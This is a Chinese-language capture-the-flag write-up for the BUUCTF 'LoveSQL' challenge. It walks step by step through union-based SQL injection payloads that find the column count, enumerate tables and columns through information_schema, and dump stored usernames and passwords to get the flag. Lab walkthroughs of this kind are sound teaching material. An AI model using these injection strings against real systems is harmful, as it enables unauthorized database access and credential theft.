BUUCTF系列[极客大挑战 2019] LoveSQL

    科技2022-07-10  94

    前言

    本题知识点:SQL注入

    WP

    (这题居然是个连续剧。。。 )

    首先尝试使用上一题的解法绕过看看(上一题 WP 的 传送门),结果如下:

    注意到密码有些奇怪,尝试着用 MD5 解码失败,也没啥思路(最后事实证明确实也用不到这玩意),故回到 SQL 注入上面来寻找突破

    1、查询字段数
    ...?username=admin'order by 列数#&password=123 // #号需要手动进行 URL 编码即替换成 #

    可知共有3个字段

    2、测试注入点

    接着使用联合查询寻找注入点即回显点位

    ...?username=1'union select 1,2,3#&password=123

    3、查询当前数据库名、用户名
    ...?username=1'union select 1,user(),database()#&password=123

    4、查询当前库中所有表
    ...?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#&password=123

    5、查询表中所有字段
    ...?username=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#&password=123

    6、爆出所有字段的数据
    ...?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1#&password=123

    得到 flag

    为了更加方便,可以将换行符 ‘\n’ 设置为 group_concat() 函数的分隔符,该函数的语法可参考 SQL函数Group_concat用法

    ...?username=1'union select 1,2,group_concat(id,username,password separator '\n') from l0ve1ysq1#&password=123

    Processed: 0.033, SQL: 8